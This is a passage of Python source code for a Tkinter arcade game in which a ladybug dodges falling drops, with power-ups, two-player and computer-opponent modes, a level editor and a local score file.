splashScreenButtons(canvas, data)\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\ndef hit(data):\n for coconut in data.coconuts:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if coconut.y >= data.cy - data.r and coconut.y <= data.cy + data.r:\n if (coconut.x >= data.cx - data.r and coconut.x <= data.cx +\n data.r):\n data.cy += data.hitPenalty\n if data.mode == 'levelCreated':\n data.lives -= 1\n elif data.hit == False and data.level < data.levelMax:\n data.score -= data.level\n data.coconuts.remove(coconut)\n if data.mode == 'levelCreated':\n data.levelEditorLives -= 1\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef playerKeyPressed(event, data):\n if data.level < data.levelMax and event.keysym == 'r':\n init(data)\n if event.keysym == 'Left' and data.cx >= data.Player1Min + data.lane / 2:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= data.Player1Max:\n data.cx += data.lane / 2\n if data.level >= data.levelMax:\n if len(event.keysym) == 1:\n if len(data.name) < 15:\n data.name += event.keysym\n if event.keysym == 'BackSpace':\n data.name = data.name[0:-1]\n if event.keysym == 'Return':\n data.scoreList += data.score, data.name\n writeFile('score.txt', data.savedScores + str(data.score) + ',' +\n data.name + '\\n')\n data.mode = 'scoreboard'\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\ndef hitAI2(data, distance):\n for coconut in data.coconutsAI2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= data.\n player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <= data.\n player2X + data.r):\n data.player2Y += 50\n data.coconutsAI2.remove(coconut)\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n 